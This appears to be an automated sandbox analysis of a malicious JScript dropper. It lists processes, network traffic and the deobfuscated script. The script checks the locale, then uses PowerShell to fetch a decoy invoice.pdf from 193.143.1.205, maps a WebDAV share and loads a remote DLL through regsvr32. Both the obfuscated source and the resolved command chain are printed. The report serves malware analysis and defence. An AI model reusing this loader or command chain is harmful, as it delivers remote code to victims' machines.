61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 05:30:02.978801966 CET	224	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 05:30:02.978812933 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 11, 2025 05:30:02.978836060 CET	1236	IN	Data Raw: 3b 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 Data Ascii: ;o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]%3h}
Jan 11, 2025 05:30:02.978847027 CET	1236	IN	Data Raw: 14 ec a4 70 2c f4 e3 60 47 ae 3e 30 74 b0 23 f7 a4 d9 91 db 8d 85 7e 68 c7 42 df 76 db 71 df bc ba 78 fd f2 e2 f5 8b 8b 57 2f 9a ff 6c 7a e8 cb ae 87 a6 65 b9 fa e4 50 bb 29 f7 e6 69 b0 29 f7 b1 1b 0e 25 86 4e 6a ea 9b 13 00 00 c0 34 f8 62 09 00 Data Ascii: p,`G>0t#~hBvqxW/lzeP)i)%Nj4b/FcvQOt`{psBjK_~1DmM[9L/l4`U*;rfAnWB_)^oCeSC;i4b/FcvO
Jan 11, 2025 05:30:02.978866100 CET	1236	IN	Data Raw: b5 ad f8 d4 ad f1 fa 27 f9 4d b7 ff 84 00 40 a5 55 6e 65 f8 9c 7c 32 31 34 3c 30 54 c7 d0 eb 26 86 5e a6 18 7a 3a 8c a1 ef 5d 0c 7d de c7 d0 67 5d 09 0d 62 e8 eb 26 86 ee a5 18 ba 3f 8f a1 e7 26 86 de 3e dd df 35 31 f4 c1 c5 50 8e 0d dd ae a9 6f Data Ascii: 'M@Une\|214<0T&^z:]}g]b&?&>51PoN%,.[nmk-_BW?]\r}B`Qa8zs&711bC%21gm\|c#1t*SKvk>~}h]
Jan 11, 2025 05:30:02.978877068 CET	1236	IN	Data Raw: db 7e a1 b7 5c 41 e1 9d 56 ff 82 ae f8 36 5b e8 45 0c 5f c7 f2 4b b9 e8 cb b7 c6 37 cf 12 d7 b0 99 7f 80 00 80 b5 c4 9d 10 9f 9b ba 03 43 1f d4 81 a1 29 86 5e 5e b4 31 f4 74 18 43 f7 9a 18 ba 37 8f a1 ed a6 dc 34 1c da cc 87 0e 4b e8 68 0c 3d 6e Data Ascii: ~\AV6[E_K7C)^^1tC74Kh=nby~m0X].5rbXTtE/Q\reE_-zm=]_{E`TZ~F}i_Jnp}QqZ'C?V
Jan 11, 2025 05:30:02.978888035 CET	552	IN	Data Raw: 73 cf 58 cd a7 83 7c 46 68 e6 87 01 cc db de bc b8 a3 49 d4 7f 16 98 4f 81 f5 be 9a e9 4a ca 37 96 45 5f c4 85 8a 64 fd 2b 18 fe 8e ab dc 69 47 6f b6 f4 50 00 13 aa fc 37 7d 7c ae 72 07 86 c6 31 f4 36 8a a1 27 d9 18 2a 9b 72 07 f3 a1 92 41 bb 12 Data Ascii: sX\|FhIOJ7E_d+iGoP7}\|r16'*rA;WIL}s_,$?i/TDGKx:z:GMX"D?W5XOfhUV#5zK\iKVF?GLS+<]j+t-9,O%{ZSiu5Ut
Jan 11, 2025 05:30:02.978903055 CET	1236	IN	Data Raw: 31 74 38 1c da 3c f2 25 b4 3f 30 34 8a a1 47 12 43 ef bb 18 7a d5 1c 5a ba 68 0c 65 53 ee 06 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 f6 99 7b 0d 0a 31 30 30 30 0d 0a ec 68 17 f0 89 4a 7f 5b fe 6a c8 7c af be 7e 70 a9 d0 0b ca 25 d4 64 50 dd 40 53 e5 Data Ascii: 1t8<%?04GCzZheSL}s_,{1000hJ[j\|~p%dP@S<88}zJa4"Dsrz4 msJ'9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]
Jan 11, 2025 05:30:02.978914022 CET	1236	IN	Data Raw: dc 16 eb dc ec f6 e8 ab a9 37 57 e7 7a 68 38 78 ee 33 e8 68 ce 0e 8b a4 e1 5f 41 bf 23 3a 37 e4 9b 7b 41 c3 82 1c 9e e1 6b 6e b6 6b e9 a1 53 ff 63 0a c0 97 63 f5 62 82 1d b5 e8 81 a1 12 43 af ae d2 81 a1 e5 18 7a ad 63 68 c5 43 76 e4 f6 31 74 7f Data Ascii: 7Wzh8x3h_A#:7{AknkSccbCzchCv1tCOO177O1M5`\|o>%kP/f#))HMgo_#{k+M$OOzzsHa^r,*Y,,WUB5{i_}zqZKd/A
Jan 11, 2025 05:30:02.983722925 CET	496	IN	Data Raw: c1 c5 d0 a3 79 0c 6d 8e 0d 1d c6 d0 b1 63 43 ff 64 53 ee c6 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 a6 f9 9b 6a fd 82 5c e9 3b fa 70 c9 dc 79 7f 29 8a 99 63 fe fc 99 83 52 0a 74 26 28 1f ab 97 bb 24 bd 20 d7 07 a0 54 7f d2 34 a8 34 d0 6f 5b ff db fa Data Ascii: ymcCdSL}s_,j\;py)cRt&($ T44o[{/Dh}4+!F)IT2hM=F{kvJ"L{xU)WX~<E(,{lP+]tA3V'U%T-e~l@7iG/ZU~#zF[_?sc9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	49767	193.143.1.205	8888	7856	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 05:30:04.843499899 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 05:30:05.653359890 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 04:30:05 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	23:29:58
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\53198678114324144.js"
Imagebase:	0x7ff6ffaa0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	23:29:58
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12907257422368.dll
Imagebase:	0x7ff77b120000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	23:29:58
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	23:29:58
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff760310000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	23:30:03
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6153b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	23:30:03
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff77b120000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	23:30:03
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6e7290000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	23:30:04
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff61f300000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	23:30:04
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff77afe0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	23:30:04
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2172 --field-trial-handle=1528,i,8348872387102134558,7204208568266747758,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff61f300000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function ujfmczsd() {	ujfmczsd() ➔ undefined
1	trmxq = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var hbxwry = this[ozjpja + khntw + dllubty + wtilqu + ccyzi + uvfdkgdim + jscirbvb + dhzjgrbi] ( this[ghwkz + rqfyz + enlgzfwx + dllubty + pgwrnsn + ozjpja + dhzjgrbi][orxkp + dllubty + ccyzi + khntw + dhzjgrbi + ccyzi + yciybvfmq + sdkoqlz + ieclud + ccyzi + enlgzfwx + dhzjgrbi] ( ghwkz + rqfyz + enlgzfwx + dllubty + pgwrnsn + ozjpja + dhzjgrbi + ifiyreyy + rqfyz + lqtomjxf + ccyzi + sosra + sosra ) [sttniun + ccyzi + fcwnqb + sttniun + ccyzi + khntw + qskyscbhu] ( bgimpjwoj + wcaezvozq + wzbwim + gtjply + xcity + orxkp + hqfehuez + sttniun + sttniun + wzbwim + wkufjanxw + brxfoc + xcity + hqfehuez + rqfyz + wzbwim + sttniun + backn + orxkp + poruprer + jscirbvb + dhzjgrbi + dllubty + poruprer + sosra + ppeeqoy + bqste + khntw + jscirbvb + ccyzi + sosra + backn + uvfdkgdim + jscirbvb + dhzjgrbi + ccyzi + dllubty + jscirbvb + khntw + dhzjgrbi + pgwrnsn + poruprer + jscirbvb + khntw + sosra + backn + sjizu + poruprer + enlgzfwx + khntw + sosra + ccyzi ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( dulfkihe = 0 ; dulfkihe < trmxq[sosra + ccyzi + jscirbvb + fcwnqb + dhzjgrbi + lqtomjxf] ; ++ dulfkihe )
4	{
5	if ( hbxwry == trmxq[dulfkihe] )
6	{
7	hbxwry = true;
8	break ;
9	}
10	}
11	if ( hbxwry !== true )
12	this[ghwkz + rqfyz + enlgzfwx + dllubty + pgwrnsn + ozjpja + dhzjgrbi][hoftydug + yzatvg + pgwrnsn + dhzjgrbi] ( );
13	this[ghwkz + rqfyz + enlgzfwx + dllubty + pgwrnsn + ozjpja + dhzjgrbi][orxkp + dllubty + ccyzi + khntw + dhzjgrbi + ccyzi + yciybvfmq + sdkoqlz + ieclud + ccyzi + enlgzfwx + dhzjgrbi] ( ghwkz + rqfyz + enlgzfwx + dllubty + pgwrnsn + ozjpja + dhzjgrbi + ifiyreyy + rqfyz + lqtomjxf + ccyzi + sosra + sosra ) [dllubty + yzatvg + jscirbvb] ( enlgzfwx + zwxtdj + qskyscbhu + ppeeqoy + fhvts + enlgzfwx + ppeeqoy + ozjpja + poruprer + vrtqrfza + ccyzi + dllubty + wtilqu + lqtomjxf + ccyzi + sosra + sosra + ifiyreyy + ccyzi + pnfhn + ccyzi + ppeeqoy + yrywdtmhg + orxkp + poruprer + zwxtdj + zwxtdj + khntw + jscirbvb + qskyscbhu + ppeeqoy + ioaiqkw + uvfdkgdim + jscirbvb + ujwmiby + poruprer + sebbh + ccyzi + yrywdtmhg + ghwkz + ccyzi + sdkoqlz + sttniun + ccyzi + nyxqfjqc + yzatvg + ccyzi + wtilqu + dhzjgrbi + ppeeqoy + yrywdtmhg + yciybvfmq + yzatvg + dhzjgrbi + gjigbnvj + pgwrnsn + sosra + ccyzi + ppeeqoy + gyhwzyjvl + dhzjgrbi + ccyzi + zwxtdj + ozjpja + gyhwzyjvl + backn + pgwrnsn + jscirbvb + ujwmiby + poruprer + pgwrnsn + enlgzfwx + ccyzi + ifiyreyy + ozjpja + qskyscbhu + jwoemo + ppeeqoy + lqtomjxf + dhzjgrbi + dhzjgrbi + ozjpja + ototjshc + fhvts + fhvts + gpnkhz + jdsajredh + lahwwglo + ifiyreyy + gpnkhz + vuekagnno + lahwwglo + ifiyreyy + gpnkhz + ifiyreyy + lrgyn + hkzdp + lsistvcl + fhvts + pgwrnsn + jscirbvb + ujwmiby + poruprer + pgwrnsn + enlgzfwx + ccyzi + ifiyreyy + ozjpja + lqtomjxf + ozjpja + ioaiqkw + xaoyoyk + xaoyoyk + wtilqu + dhzjgrbi + khntw + dllubty + dhzjgrbi + ppeeqoy + gyhwzyjvl + dhzjgrbi + ccyzi + zwxtdj + ozjpja + gyhwzyjvl + backn + pgwrnsn + jscirbvb + ujwmiby + poruprer + pgwrnsn + enlgzfwx + ccyzi + ifiyreyy + ozjpja + qskyscbhu + jwoemo + xaoyoyk + xaoyoyk + enlgzfwx + zwxtdj + qskyscbhu + ppeeqoy + fhvts + enlgzfwx + ppeeqoy + jscirbvb + ccyzi + dhzjgrbi + ppeeqoy + yzatvg + wtilqu + ccyzi + ppeeqoy + backn + backn + gpnkhz + jdsajredh + lahwwglo + ifiyreyy + gpnkhz + vuekagnno + lahwwglo + ifiyreyy + gpnkhz + ifiyreyy + lrgyn + hkzdp + lsistvcl + fcwverhdj + lpyxfy + lpyxfy + lpyxfy + lpyxfy + backn + qskyscbhu + khntw + ujwmiby + vrtqrfza + vrtqrfza + vrtqrfza + dllubty + poruprer + poruprer + dhzjgrbi + backn + xaoyoyk + xaoyoyk + enlgzfwx + zwxtdj + qskyscbhu + ppeeqoy + fhvts + enlgzfwx + ppeeqoy + dllubty + ccyzi + fcwnqb + wtilqu + ujwmiby + dllubty + lahwwglo + lrgyn + ppeeqoy + fhvts + wtilqu + ppeeqoy + backn + backn + gpnkhz + jdsajredh + lahwwglo + ifiyreyy + gpnkhz + vuekagnno + lahwwglo + ifiyreyy + gpnkhz + ifiyreyy + lrgyn + hkzdp + lsistvcl + fcwverhdj + lpyxfy + lpyxfy + lpyxfy + lpyxfy + backn + qskyscbhu + khntw + ujwmiby + vrtqrfza + vrtqrfza + vrtqrfza + dllubty + poruprer + poruprer + dhzjgrbi + backn + gpnkhz + lrgyn + jdsajredh + hkzdp + hkwnby + lrgyn + lsistvcl + hkwnby + vuekagnno + lrgyn + lrgyn + lahwwglo + xpszxasc + lpyxfy + ifiyreyy + qskyscbhu + sosra + sosra, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12907257422368.dll",0,false) ➔ 0
14	}
15	orxkp = "a";
16	orxkp = "K";
17	orxkp = "F";
18	orxkp = "A";
19	orxkp = "f";
20	orxkp = "V";
21	orxkp = "T";
22	orxkp = "x";
23	orxkp = "r";
24	orxkp = "X";
25	orxkp = "t";
26	orxkp = "D";
27	orxkp = "j";
28	orxkp = "V";
29	orxkp = "j";
30	orxkp = "q";
31	orxkp = "J";
32	orxkp = "T";
33	orxkp = "q";
34	orxkp = "Y";
35	orxkp = "J";
36	orxkp = "P";
37	orxkp = "P";
38	orxkp = "K";
39	orxkp = "T";
40	orxkp = "O";
41	orxkp = "C";
42	xcity = "a";
43	xcity = "e";
44	xcity = "K";
45	xcity = "W";
46	xcity = "_";
47	lrgyn = "y";
48	lrgyn = "F";
49	lrgyn = "f";
50	lrgyn = "c";
51	lrgyn = "C";
52	lrgyn = "y";
53	lrgyn = "n";
54	lrgyn = "F";
55	lrgyn = "d";
56	lrgyn = "C";
57	lrgyn = "b";
58	lrgyn = "H";
59	lrgyn = "b";
60	lrgyn = "G";
61	lrgyn = "V";
62	lrgyn = "D";
63	lrgyn = "y";
64	lrgyn = "q";
65	lrgyn = "R";
66	lrgyn = "W";
67	lrgyn = "m";
68	lrgyn = "d";
69	lrgyn = "J";
70	lrgyn = "l";
71	lrgyn = "q";
72	lrgyn = "T";
73	lrgyn = "k";
74	lrgyn = "o";
75	lrgyn = "i";
76	lrgyn = "h";
77	lrgyn = "e";
78	lrgyn = "C";
79	lrgyn = "v";
80	lrgyn = "E";
81	lrgyn = "2";
82	lqtomjxf = "g";
83	lqtomjxf = "k";
84	lqtomjxf = "l";
85	lqtomjxf = "k";
86	lqtomjxf = "l";
87	lqtomjxf = "z";
88	lqtomjxf = "h";
89	fhvts = "u";
90	fhvts = "A";
91	fhvts = "M";
92	fhvts = "b";
93	fhvts = "Y";
94	fhvts = "l";
95	fhvts = "i";
96	fhvts = "d";
97	fhvts = "F";
98	fhvts = "Z";
99	fhvts = "x";
100	fhvts = "z";
101	fhvts = "i";
102	fhvts = "T";
103	fhvts = "P";
104	fhvts = "D";
105	fhvts = "F";
106	fhvts = "F";
107	fhvts = "t";
108	fhvts = "t";
109	fhvts = "b";
110	fhvts = "H";
111	fhvts = "q";
112	fhvts = "X";
113	fhvts = "Z";
114	fhvts = "I";
115	fhvts = "F";
116	fhvts = "/";
117	lahwwglo = "O";
118	lahwwglo = "G";
119	lahwwglo = "N";
120	lahwwglo = "3";
121	ioaiqkw = "Z";
122	ioaiqkw = "Y";
123	ioaiqkw = "l";
124	ioaiqkw = "j";
125	ioaiqkw = "x";
126	ioaiqkw = "X";
127	ioaiqkw = "q";
128	ioaiqkw = "a";
129	ioaiqkw = "A";
130	ioaiqkw = "E";
131	ioaiqkw = "P";
132	ioaiqkw = "J";
133	ioaiqkw = "w";
134	ioaiqkw = "t";
135	ioaiqkw = "W";
136	ioaiqkw = "H";
137	ioaiqkw = "R";
138	ioaiqkw = "P";
139	ioaiqkw = "Y";
140	ioaiqkw = "w";
141	ioaiqkw = "m";
142	ioaiqkw = "x";
143	ioaiqkw = "g";
144	ioaiqkw = "c";
145	ioaiqkw = "x";
146	ioaiqkw = "\"";
147	sdkoqlz = "h";
148	sdkoqlz = "B";
149	sdkoqlz = "K";
150	sdkoqlz = "W";
151	sdkoqlz = "X";
152	sdkoqlz = "q";
153	sdkoqlz = "D";
154	sdkoqlz = "y";
155	sdkoqlz = "P";
156	sdkoqlz = "T";
157	sdkoqlz = "t";
158	sdkoqlz = "E";
159	sdkoqlz = "F";
160	sdkoqlz = "e";
161	sdkoqlz = "S";
162	sdkoqlz = "k";
163	sdkoqlz = "D";
164	sdkoqlz = "y";
165	sdkoqlz = "A";
166	sdkoqlz = "P";
167	sdkoqlz = "E";
168	sdkoqlz = "v";
169	sdkoqlz = "h";
170	sdkoqlz = "f";
171	sdkoqlz = "u";
172	sdkoqlz = "J";
173	sdkoqlz = "L";
174	sdkoqlz = "c";
175	sdkoqlz = "b";
176	sdkoqlz = "F";
177	sdkoqlz = "m";
178	sdkoqlz = "R";
179	sdkoqlz = "J";
180	sdkoqlz = "D";
181	sdkoqlz = "q";
182	sdkoqlz = "Y";
183	sdkoqlz = "F";
184	sdkoqlz = "h";
185	sdkoqlz = "E";
186	sdkoqlz = "M";
187	sdkoqlz = "f";
188	sdkoqlz = "i";
189	sdkoqlz = "b";
190	uvfdkgdim = "c";
191	uvfdkgdim = "E";
192	uvfdkgdim = "x";
193	uvfdkgdim = "u";
194	uvfdkgdim = "g";
195	uvfdkgdim = "i";
196	uvfdkgdim = "a";
197	uvfdkgdim = "w";
198	uvfdkgdim = "u";
199	uvfdkgdim = "w";
200	uvfdkgdim = "h";
201	uvfdkgdim = "q";
202	uvfdkgdim = "q";
203	uvfdkgdim = "L";
204	uvfdkgdim = "h";
205	uvfdkgdim = "I";
206	uvfdkgdim = "E";
207	uvfdkgdim = "i";
208	uvfdkgdim = "s";
209	uvfdkgdim = "v";
210	uvfdkgdim = "p";
211	uvfdkgdim = "M";
212	uvfdkgdim = "s";
213	uvfdkgdim = "d";
214	uvfdkgdim = "A";
215	uvfdkgdim = "U";
216	uvfdkgdim = "X";
217	uvfdkgdim = "G";
218	uvfdkgdim = "u";
219	uvfdkgdim = "Z";
220	uvfdkgdim = "x";
221	uvfdkgdim = "z";
222	uvfdkgdim = "T";
223	uvfdkgdim = "r";
224	uvfdkgdim = "l";
225	uvfdkgdim = "I";
226	yrywdtmhg = "w";
227	yrywdtmhg = "A";
228	yrywdtmhg = "V";
229	yrywdtmhg = "S";
230	yrywdtmhg = "Q";
231	yrywdtmhg = "b";
232	yrywdtmhg = "w";
233	yrywdtmhg = "V";
234	yrywdtmhg = "B";
235	yrywdtmhg = "G";
236	yrywdtmhg = "L";
237	yrywdtmhg = "c";
238	yrywdtmhg = "v";
239	yrywdtmhg = "J";
240	yrywdtmhg = "y";
241	yrywdtmhg = "V";
242	yrywdtmhg = "l";
243	yrywdtmhg = "L";
244	yrywdtmhg = "H";
245	yrywdtmhg = "k";
246	yrywdtmhg = "u";
247	yrywdtmhg = "J";
248	yrywdtmhg = "q";
249	yrywdtmhg = "b";
250	yrywdtmhg = "-";
251	yciybvfmq = "u";
252	yciybvfmq = "N";
253	yciybvfmq = "w";
254	yciybvfmq = "w";
255	yciybvfmq = "r";
256	yciybvfmq = "P";
257	yciybvfmq = "u";
258	yciybvfmq = "H";
259	yciybvfmq = "o";
260	yciybvfmq = "c";
261	yciybvfmq = "C";
262	yciybvfmq = "a";
263	yciybvfmq = "Z";
264	yciybvfmq = "I";
265	yciybvfmq = "S";
266	yciybvfmq = "u";
267	yciybvfmq = "Y";
268	yciybvfmq = "b";
269	yciybvfmq = "n";
270	yciybvfmq = "R";
271	yciybvfmq = "g";
272	yciybvfmq = "r";
273	yciybvfmq = "O";
274	backn = "r";
275	backn = "e";
276	backn = "T";
277	backn = "N";
278	backn = "\\";
279	fcwverhdj = "F";
280	fcwverhdj = "Y";
281	fcwverhdj = "D";
282	fcwverhdj = "n";
283	fcwverhdj = "Q";
284	fcwverhdj = "m";
285	fcwverhdj = "Q";
286	fcwverhdj = "B";
287	fcwverhdj = "b";
288	fcwverhdj = "e";
289	fcwverhdj = "L";
290	fcwverhdj = "s";
291	fcwverhdj = "l";
292	fcwverhdj = "o";
293	fcwverhdj = "e";
294	fcwverhdj = "p";
295	fcwverhdj = "B";
296	fcwverhdj = "@";
297	gtjply = "d";
298	gtjply = "Q";
299	gtjply = "g";
300	gtjply = "N";
301	gtjply = "J";
302	gtjply = "J";
303	gtjply = "K";
304	gtjply = "O";
305	gtjply = "T";
306	gtjply = "a";
307	gtjply = "X";
308	gtjply = "J";
309	gtjply = "L";
310	gtjply = "m";
311	gtjply = "r";
312	gtjply = "K";
313	gtjply = "h";
314	gtjply = "T";
315	gtjply = "p";
316	gtjply = "B";
317	gtjply = "D";
318	gtjply = "b";
319	gtjply = "j";
320	gtjply = "j";
321	gtjply = "Y";
322	gtjply = "X";
323	gtjply = "x";
324	gtjply = "w";
325	gtjply = "a";
326	gtjply = "X";
327	gtjply = "Y";
328	brxfoc = "T";
329	yzatvg = "O";
330	yzatvg = "q";
331	yzatvg = "a";
332	yzatvg = "G";
333	yzatvg = "w";
334	yzatvg = "U";
335	yzatvg = "x";
336	yzatvg = "g";
337	yzatvg = "c";
338	yzatvg = "L";
339	yzatvg = "f";
340	yzatvg = "S";
341	yzatvg = "R";
342	yzatvg = "s";
343	yzatvg = "C";
344	yzatvg = "d";
345	yzatvg = "q";
346	yzatvg = "R";
347	yzatvg = "U";
348	yzatvg = "u";
349	vrtqrfza = "l";
350	vrtqrfza = "h";
351	vrtqrfza = "Z";
352	vrtqrfza = "E";
353	vrtqrfza = "Q";
354	vrtqrfza = "z";
